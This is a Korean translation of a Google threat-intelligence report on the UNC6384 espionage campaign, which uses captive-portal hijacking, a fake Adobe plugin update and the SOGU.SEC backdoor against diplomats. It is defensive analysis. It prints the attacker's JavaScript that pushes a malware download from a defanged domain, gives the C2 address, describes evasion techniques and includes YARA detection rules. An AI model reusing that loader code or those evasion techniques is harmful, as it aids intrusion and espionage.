Deception in Depth: PRC-Nexus 스파이 활동 캠페인, 웹 트래픽을 가로채 외교관을 표적 삼다
Google Threat Intelligence Group
작성자: Patrick Whitsell
해당 블로그의 원문은 2025년 8월 26일 Google Cloud 블로그(영문)에 게재되었습니다.
2025년 3월, Google Threat Intelligence Group(GTIG)은 중국과 연계된 위협 행위자인 UNC6384가 수행한 복합적이고 다면적인 캠페인을 발견했습니다. 이 캠페인은 동남아시아의 외교관들과 전 세계 다른 기관들을 표적으로 삼았습니다. GTIG는 이 캠페인이 중화인민공화국(PRC)의 전략적 이익에 부합하는 사이버 스파이 활동을 지원하기 위한 것으로 분석하고 있습니다.
이 캠페인은 캡티브 포털 리디렉션을 사용하여 표적의 웹 트래픽을 가로챈 뒤, GTIG가 STATICPLUGIN으로 추적하는 디지털 서명된 다운로더를 전달합니다. 이는 궁극적으로 메모리에 백도어인 SOGU.SEC(PlugX라고도 알려짐)를 배포하는 결과를 낳았습니다. 이 다단계 공격 체인은 유효한 코드 서명 인증서, 중간자 공격(AitM), 그리고 탐지를 피하기 위한 간접 실행 기술을 포함한 고급 소셜 엔지니어링 기법을 활용합니다.
Google은 이러한 위협으로부터 사용자 및 고객을 적극적으로 보호하고 있습니다. Google은 이번 캠페인으로 영향을 받은 모든 Gmail 및 Workspace 사용자에게 정부 지원 공격자에 대한 경고를 보냈습니다. 사용자는 Chrome의 향상된 세이프 브라우징 기능을 활성화하고, 모든 기기를 최신 상태로 유지하며, 계정에 2단계 인증을 사용하도록 권장합니다. 또한, 식별된 모든 도메인, URL, 파일 해시는 Google Safe Browsing의 안전하지 않은 웹 리소스 목록에 추가되었습니다. Google Security Operations(SecOps) 팀도 관련 위협 인텔리전스를 업데이트하여 방어자들이 각자의 환경에서 이러한 활동을 찾아낼 수 있도록 했습니다.
개요
이 블로그 게시물에서는 이번 스파이 활동 캠페인에 대한 저희의 조사 결과와 분석은 물론, 위협 행위자의 진화하는 공격 역량을 상세히 다룹니다. 악성코드가 어떻게 전달되고, 위협 행위자가 사회 공학 및 회피 기술을 어떻게 활용하는지, 그리고 다단계 악성코드 페이로드의 기술적 측면을 중점적으로 살펴봅니다.
이번 캠페인에서 악성코드 페이로드는 소프트웨어 또는 플러그인 업데이트로 위장했으며, AitM과 사회 공학 전술을 활용한 UNC6384의 인프라를 통해 전달되었습니다. 공격 체인의 개요는 다음과 같습니다.
-
표적 웹 브라우저가 인터넷 연결이 캡티브 포털 뒤에 있는지 확인합니다.
-
AitM으로 인해 브라우저는 위협 행위자가 통제하는 웹사이트로 리디렉션됩니다.
-
1단계 악성코드인 STATICPLUGIN이 다운로드됩니다.
-
STATICPLUGIN은 동일한 웹사이트에서 MSI 패키지를 가져옵니다.
-
마지막으로, CANONSTAGER가 DLL 사이드 로딩되어 SOGU.SEC 백도어를 배포합니다.


그림 1: 공격 체인 다이어그램
악성코드 전달: 캡티브 포털 하이재킹
Google 위협 인텔리전스 그룹(GTIG)은 캡티브 포털 하이재킹이 표적 기관에 Adobe 플러그인 업데이트로 위장한 악성코드를 전달하는 데 사용된 증거를 발견했습니다. 캡티브 포털은 인터넷 접속을 허용하기 전에 사용자들을 특정 웹 페이지(주로 로그인 또는 시작 페이지)로 안내하는 네트워크 설정입니다. 이 기능은 모든 웹 브라우저에 기본적으로 내장되어 있습니다. Chrome 브라우저는 이러한 리디렉션 메커니즘을 활성화하기 위해 하드코딩된 URL(“http://www.gstatic.com/generate_204
”)로 HTTP 요청을 보냅니다.
"gstatic.com
"은 합법적인 도메인이지만, 저희 조사 결과 이 도메인에서 위협 행위자의 랜딩 페이지로 이어지는 리디렉션 체인이 발견되었고, 이는 중간자 공격(AitM)이 있었음을 시사합니다. 저희는 이 중간자 공격이 표적 네트워크 내 손상된 엣지 장치를 통해 이루어졌을 가능성이 있다고 분석합니다. 하지만, GTIG는 엣지 장치를 손상시키는 데 사용된 공격 벡터는 아직 관찰하지 못했습니다.


그림 2: 캡티브 포털 리디렉션 체인
가짜 플러그인 업데이트
리디렉션된 후, 위협 행위자는 대상이 소프트웨어 업데이트가 필요하다고 믿게 속여 '플러그인 업데이트'로 위장한 악성코드를 다운로드하도록 유도합니다. 위협 행위자는 이 가짜 업데이트가 그럴듯하게 보이도록 여러 사회 공학 기법을 사용했습니다.
랜딩 웹 페이지는 합법적인 소프트웨어 업데이트 사이트처럼 보이며, Let's Encrypt가 발급한 유효한 TLS 인증서를 사용해 HTTPS 연결을 형성합니다. HTTPS를 사용하면 사회 공학 및 악성코드 전달에 여러 가지 이점이 있습니다. 대상에게 "안전하지 않음" 또는 "연결이 비공개로 설정되어 있지 않습니다"와 같은 브라우저 경고 메시지가 표시되지 않으며, 웹사이트로의 연결이 암호화되어 있어 네트워크 기반 방어 시스템이 악성 트래픽을 검사하고 탐지하기가 더 어렵습니다. 또한, 악성코드 페이로드는 합법적인 소프트웨어로 위장하고 있으며, 인증 기관이 발급한 인증서로 디지털 서명되어 있습니다.
$ openssl x509 -in mediareleaseupdates.pem -noout -text -fingerprint -sha256
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
05:23:ee:fd:9f:a8:7d:10:b1:91:dc:34:dd:ee:1b:41:49:bd
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Let's Encrypt, CN=R10
Validity
Not Before: May 17 16:58:11 2025 GMT
Not After : Aug 15 16:58:10 2025 GMT
Subject: CN=mediareleaseupdates[.]com
sha256 Fingerprint=6D:47:32:12:D0:CB:7A:B3:3A:73:88:07:74:5B:6C:F1:51:A2:B5:C3:31:65:67:74:DF:59:E1:A4:E2:23:04:68
그림 3: 웹사이트 TLS 인증서
초기 랜딩 페이지는 상단에 노란색 막대와 "누락된 플러그인 설치..."("IInstall Missing Plugins…
")라고 적힌 버튼이 있는 완전히 빈 화면입니다. 이 기법에 속아 추가 소프트웨어를 설치해야 한다고 믿게 되면, 사용자는 전달된 악성 페이로드를 실행하기 위해 호스트 기반 Windows 보안 보호를 수동으로 우회할 가능성이 높아질 수 있습니다.


그림 4: 악성코드 랜딩 페이지
In the background, Javascript code is loaded from a script file named “style3.js
” hosted on the same domain as the HTML page. When the target clicks the install button “myFunction
”, which is located in the loaded script, is executed.
배경에서는 HTML 페이지와 동일한 도메인에 호스팅된 “style3.js
”라는 스크립트 파일에서 자바스크립트 코드가 로드됩니다. 대상자가 "설치" 버튼을 클릭하면, 로드된 스크립트 안에 있는 "myFunction
"이 실행됩니다.
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Additional plugins are required to display all the media on this page</title>
<script type="text/javascript" src="https[:]//mediareleaseupdates[.]com/style3.js"> </script>
</head>
<body><div id="adobe update" onclick="myFunction()"...
그림 5: AdobePlugins.html
의 자바스크립트
“myFunction
” 내부에서는 웹 페이지의 배경 이미지로 표시될 또 다른 이미지가 로드됩니다. 브라우저 창의 위치는 동일한 도메인에 호스팅된 실행 파일의 URL로 설정됩니다.
function myFunction()
{
var img = new Image();
img.src ="data:image/png;base64,iVBORw0KGgo[cut]
...
document.body.innerHTML = '';
document.body.style.backgroundImage = 'url(' + img.src + ')';
...
window.location.href = "https[:]//mediareleaseupdates[.]com/AdobePlugins.exe";
}
그림 6: style3.js
의 자바스크립트
이는 “AdobePlugins.exe
” 파일이 자동으로 다운로드되도록 유도하며, 동시에 웹 페이지에 새로운 배경 이미지가 표시됩니다. 이 이미지에는 다운로드된 실행 파일을 실행하고 잠재적인 Windows 보안 보호 기능을 우회하는 방법에 대한 지침이 나와 있습니다.


그림 7: 악성코드 다운로드 후 랜딩 페이지
다운로드된 실행 파일이 실행되면 위 스크린샷의 "STEP 2"에서 보았던 가짜 설치 프롬프트가 화면에 나타나며, "설치(Install
)" 및 "취소(Cancel
)" 옵션이 함께 표시됩니다. 그러나 두 버튼 모두 악성코드와 관련된 어떤 동작도 유발하지 않는 것으로 보아, 이미 SOGU.SEC 페이로드가 표적 장치에서 실행되고 있을 가능성이 높습니다.
악성코드 분석
악성코드가 표적 Windows 시스템에 성공적으로 전달되면 다단계 배포 체인이 시작됩니다. 각 단계는 호스트 기반 방어를 회피하고 손상된 시스템에서 은밀하게 유지되도록 설계된 전술을 중첩시킵니다. 마지막으로, CANONSTAGER로 추적되는 새로운 사이드 로딩 DLL이 SOGU.SEC 백도어를 메모리에 배포하고, 백도어는 위협 행위자의 명령 및 제어(C2) 서버와 통신을 설정합니다.
디지털 서명된 다운로더: STATICPLUGIN
다운로드된 "AdobePlugins.exe
" 파일은 1단계 악성코드 다운로더입니다. 이 파일은 GlobalSign이 발급한 유효한 인증서를 통해 Chengdu Nuoxin Times Technology Co., Ltd.가 서명했습니다. 서명된 악성코드는 일반적으로 유효한 디지털 서명이 있는 파일을 신뢰하는 엔드포인트 보안 보호 기능을 우회할 수 있다는 주요 이점을 가집니다. 이는 악성코드에 가짜 정당성을 부여하여 사용자 및 자동화된 방어 시스템이 탐지하기 더 어렵게 만듭니다.
이 실행 파일은 2025년 5월 9일에 코드 서명되었으며, 이는 이 버전의 다운로더가 얼마나 오랫동안 사용되었는지 보여줄 수 있습니다. 서명 인증서는 2025년 7월 14일에 만료되어 더 이상 유효하지 않지만, 위협 행위자는 유사하게 획득한 인증서로 STATICPLUGIN의 새로운 버전을 쉽게 재서명할 수 있습니다.


그림 8: 유효한 디지털 서명이 있는 다운로더
STATICPLUGIN은 합법적인 Microsoft Visual C++ 2013 재배포 가능 패키지 설치 관리자로 위장하도록 설계된 맞춤형 TForm을 구현합니다. 이 악성코드는 Windows COM Installer 개체를 사용하여 "https[:]//mediareleaseupdates[.]com/20250509[.]bmp
"에서 또 다른 파일을 다운로드합니다. 하지만 이 "BMP" 파일은 실제로는 세 개의 파일을 포함하는 MSI 패키지입니다. 이 파일들이 설치된 후, DLL 사이드 로딩을 통해 CANONSTAGER가 실행됩니다.
악성코드 론처: CANONSTAGER
CANONSTAGER가 실행되면, 궁극적인 목적은 암호화된 페이로드, 즉 SOGU.SEC로 추적되는 SOGU의 변종을 은밀하게 실행하는 것입니다. CANONSTAGER는 맞춤형 API 해싱 및 스레드 로컬 저장소(TLS)를 사용하여 제어 흐름 난독화(obfuscation) 기법을 구현합니다. 또한 이 실행기는 합법적인 Windows 기능인 윈도우 프로시저, 메시지 큐, 그리고 콜백 함수를 악용하여 최종 페이로드를 실행합니다.
API 해싱 및 스레드 로컬 저장소
스레드 로컬 저장소(TLS)는 다중 스레드 애플리케이션의 각 스레드에 자체적인 프라이빗 데이터 저장소를 제공하기 위한 것입니다. CANONSTAGER는 이 TLS 배열 데이터 구조를 사용하여 맞춤형 API 해싱 알고리즘으로 확인된 함수 주소를 저장합니다. 이 함수 주소는 이후 바이너리 전체에서 TLS 배열 내 오프셋을 통해 호출됩니다.
간단히 말해, API 해싱은 사용되는 Windows API를 숨기며, TLS 배열은 확인된 함수 주소를 저장하는 은밀한 위치를 제공합니다. 이러한 목적으로 TLS 배열을 사용하는 것은 일반적이지 않습니다. 함수 주소를 여기에 저장하면 일반적인 데이터 저장 위치를 검토하는 분석가나 보안 도구에 의해 간과될 수 있습니다.
Below is an example of CANONSTAGER resolving and storing the GetCurrentDirectoryW
function address.
아래는 CANONSTAGER가 GetCurrentDirectoryW
함수 주소를 확인하고 저장하는 예시입니다.
-
GetCurrentDirectoryW 해시(0x6501CBE1)를 확인합니다.
-
스레드 정보 블록(TIB)에서 TLS 배열의 위치를 가져옵니다.
-
확인된 함수 주소를 TLS 배열의 오프셋 0x8로 이동시킵니다.


그림 9: TLS 배열에 함수 주소를 저장하는 예시
간접 코드 실행
CANONSTAGER는 맞춤형 윈도우 프로시저(window procedure) 내에 실행기 코드를 숨기고 Windows 메시지 큐를 사용하여 간접적으로 실행을 유도합니다. 이러한 합법적인 Windows 기능을 사용하면 보안 도구가 악성코드를 탐지하고 경고를 발생시킬 가능성이 낮아집니다. 또한, 코드를 윈도우 프로시저 내부에 "숨기고" 비동기적으로 실행을 유발함으로써 악성코드의 제어 흐름을 난독화합니다.
CANONSTAGER의 작동 방식은 다.음과 같습니다
-
콜백 함수를 포함하는 클래스를 등록합니다.
-
등록된 클래스로 새 창을 만듭니다.
-
메시지 큐로 WM_SHOWWINDOW를 보냅니다.
-
만들어진 창으로 메시지를 수신하고 전달하기 위해 메시지 루프에 진입합니다.
- 창이 WM_SHOWWINDOW 메시지를 받으면 "
cnmplog.dat
"를 SOGU.SEC로 복호화하는 새 스레드를 생성합니다 -
마지막으로, EnumSystemGeoID 콜백을 사용하여 SOGU.SEC를 메모리에서 실행합니다.


그림 10: Windows 메시지 큐를 사용한 CANONSTAGER 실행 개요
Window Procedure
Windows 시스템에서 모든 윈도우 클래스에는 연결된 윈도우 프로시저가 있습니다. 이 프로시저를 통해 프로그래머는 특정 윈도우 클래스로 전송되는 메시지를 처리하기 위한 사용자 정의 함수를 정의할 수 있습니다.
CANONSTAGER는 등록된 WNDCLASS 구조를 사용하여 '오버랩된 윈도우(Overlapped Window)'를 생성합니다. 이 구조에는 메시지 처리를 위한 프로그래머 정의 윈도우 프로시저에 대한 콜백 함수가 포함되어 있습니다. 또한, 이 창은 화면에 숨겨진 상태를 유지하기 위해 높이와 너비가 0으로 설정됩니다.
윈도우 프로시저 내부에는 메시지 유형 0x0018(WM_SHOWWINDOW)에 대한 확인 로직이 있습니다. 이 유형의 메시지가 수신되면, 암호 해독 및 SOGU.SEC 페이로드를 실행하는 함수를 가진 새 스레드가 생성됩니다. 0x0018(또는 ExitProcess를 위한 0x2) 외의 모든 메시지 유형에 대해서는 윈도우 프로시저가 기본 핸들러(DefWindowProc)를 호출하여 메시지를 무시합니다.
Inside the window procedure, there is a check for message type 0x0018 (WM_SHOWWINDOW). When a message of this type is received, a new thread is created with a function that decrypts and launches the SOGU.SEC payload. For any message type other than 0x0018 (or 0x2 to ExitProcess), the window procedure calls the default handler (DefWindowProc), ignoring the message.
Message Queue
Windows 애플리케이션은 비동기 통신을 위해 Message Queues를 사용합니다. 사용자 애플리케이션과 Windows 시스템 모두 메시지 큐에 메시지를 게시할 수 있습니다. 메시지가 애플리케이션 창에 게시되면, 시스템은 연결된 윈도우 프로시저를 호출하여 메시지를 처리합니다.
악성 윈도우 프로시저를 트리거하기 위해 CANONSTAGER는 ShowWindow 함수를 사용하여 메시지 큐를 통해 새로 생성된 창에 WM_SHOWWINDOW(0x0018) 메시지를 보냅니다. 시스템 또는 다른 애플리케이션도 CANONSTAGER의 창에 메시지를 게시할 수 있으므로, 표준 Windows 메시지 루프가 시작됩니다. 이를 통해 의도된 WM_SHOWWINDOW 메시지를 포함하여 게시된 모든 메시지가 전송될 수 있습니다.
-
GetMessageW - 스레드의 메시지 큐에 있는 모든 메시지를 검색합니다.
-
TranslateMessage - "가상 키" 메시지를 "문자 메시지"로 변환합니다.
-
DispatchMessage - 메시지가 대상으로 하는 창을 처리하는 특정 함수(WindowProc)에 메시지를 전달합니다.
-
모든 메시지가 처리될 때까지 1번으로 돌아가 루프를 반복합니다.
SOGU.SEC 배포
윈도우 프로시저가 올바른 메시지 유형을 수신하면, CANONSTAGER는 다음 단계를 통해 SOGU.SEC 페이로드를 배포합니다.
- 다운로드된 MSI에 패키징된 암호화된 "
cnmplog.dat
" 파일을 읽습니다. -
하드코딩된 16바이트 RC4 키로 파일을 복호화합니다.
- EnumSystemsGeoID 콜백 함수를 사용하여 복호화된 페이로드를 실행합니다.


그림 11: SOGU.SEC를 실행하는 콜백 함수
UNC6384는 페이로드 암호화 및 콜백 함수를 모두 사용하여 SOGU.SEC을 배포해왔습니다. 이러한 기법은 악성 코드를 숨기고, 탐지를 회피하며, 제어 흐름을 난독화하고, 정상적인 시스템 활동과 혼합되게 하는 데 사용됩니다. 또한, 이러한 모든 단계는 메모리 내에서 수행되어 엔드포인트 파일 기반 탐지를 회피합니다.
백도어: SOGU.SEC
SOGU.SEC은 SOGU의 독특한 변종이며 UNC6384가 사이버 스파이 활동에서 주로 배포하는 멀웨어입니다. 이는 광범위한 기능을 가진 정교하고 고도로 난독화된 악성코드 백도어입니다. 시스템 정보를 수집하고, C2에서 파일을 업로드 및 다운로드하며, 원격 명령 셸을 실행할 수 있습니다. 이번 캠페인에서 SOGU.SEC은 HTTPS를 사용하여 C2 IP 주소 "166.88.2[.]90
"과 직접 통신하는 것이 관찰되었습니다.
어트리뷰션
GTIG는 이번 캠페인을 UNC6384(PRC 연계 사이버 스파이 그룹이며 PRC 연계 위협 행위자인 TEMP.Hex(일명 Mustang Panda)와 관련이 있는 것으로 추정됨)의 소행으로 보고 있습니다. 이러한 귀속은 툴링, TTP, 타겟팅의 유사성과 C2 인프라의 중복을 기반으로 합니다. UNC6384와 TEMP.Hex는 모두 PRC의 전략적 이익에 부합하여 주로 동남아시아의 정부 부문을 타겟으로 하는 것으로 관찰되었습니다. 또한 두 그룹 모두 DLL 측면 로드 악성코드 런처에서 SOGU.SEC 멀웨어를 전달하고 동일한 C2 인프라를 사용한 것으로 관찰되었습니다
결론
이번 캠페인은 UNC6384의 운영 역량의 지속적인 진화를 보여주는 분명한 사례이며, PRC 연계 위협 행위자의 정교함을 강조합니다. AitM과 같은 고급 기법과 유효한 코드 서명 및 계층화된 소셜 엔지니어링의 사용은 이 위협 행위자의 역량을 증명합니다. 이러한 활동은 PRC 연계 위협 행위자가 탐지를 피하기 위해 은밀한 전술을 점점 더 많이 사용하고 있다는 GTIG가 관찰한 광범위한 추세를 따릅니다.
GTIG는 사용자와 고객을 보호하기 위해 UNC6384와 같은 행위자들의 지속적인 위협을 적극적으로 모니터링합니다. 이러한 노력의 일환으로 Google은 보호 기능을 지속적으로 업데이트하고 이번 캠페인에 대해 구체적인 조치를 취했습니다.
감사
Jon Daniels 님의 기여에 특별히 감사드립니다.
Appendix: 침해 지표(Indicators of Compromise)
등록된 사용자에게는 관련 IOC(침해 지표)가 포함된 Google 위협 인텔리전스(GTI) 컬렉션이 제공됩니다.
파일 해시
Certificate Fingerprints / Thumbprints
네트워크 지표
호스트 지표
YARA 룰
rule G_Downloader_STATICPLUGIN_1 {
meta:
author = "GTIG"
date_created = "2025-07-24"
date_modified = "2025-07-24"
description = "STATICPLUGIN is a downloader observed to retrieve an MSI packaged payload from a hard-coded C2 domain."
md5 = "52f42a40d24e1d62d1ed29b28778fc45"
rev = 1
strings:
$s1 = "InstallRemoteMSI"
$s2 = "InstallUpdate"
$s3 = "Button1Click"
$s4 = "Button2Click"
$s5 = "WindowsInstaller.Installer" wide
condition:
uint16(0)==0x5a4d and all of them
}
rule G_Launcher_CANONSTAGER_1 {
meta:
author = "GTIG"
date_created = "2025-07-25"
date_modified = "2025-07-25"
description = "CANONSTAGER is a side-loaded DLL launcher used to decrypt and execute a payload in-memory."
md5 = "fa71d60e43da381ad656192a41e38724"
rev = 1
strings:
$str1 = ".dat" wide
$str2 = "\\cnmplog" wide
$code1 = {43 0F B6 ?? 0F B6 [3]00 D0 0F B6 ?? 8A 74 [2]88 74 [2]88 54 [2]8B 7? [2]02 54 [2]0F B6 ?? 0F B6 [3]32 14 ?? [0-4] 88 14 ?? 41 39 ?? 75 C? }
$code2 = {0F B6 [3] 89 ?? 83 E? 0F 00 D0 02 ?? [1-2] 0F B6 ?? 8A 74 [2] 88 74 [2] 4? 88 54 [2]81 F? 00 01 00 00 75 D?}
$code3 = {40 89 ?? 0F B6 C0 0F B6 [3]00 D9 88 9? [4-5]0F B6 F? 8A 7C 3? ?? 88 7C 0? ?? 88 5C 3? ?? 02 5C 0? ?? 0F B6 F? 0F B6 5C 3? ?? [0-2]8B [3]32 1C ?? [7-8]42 [0-2]39 D? 75 BC }
condition:
all of ($str*) and 2 of ($code*)
}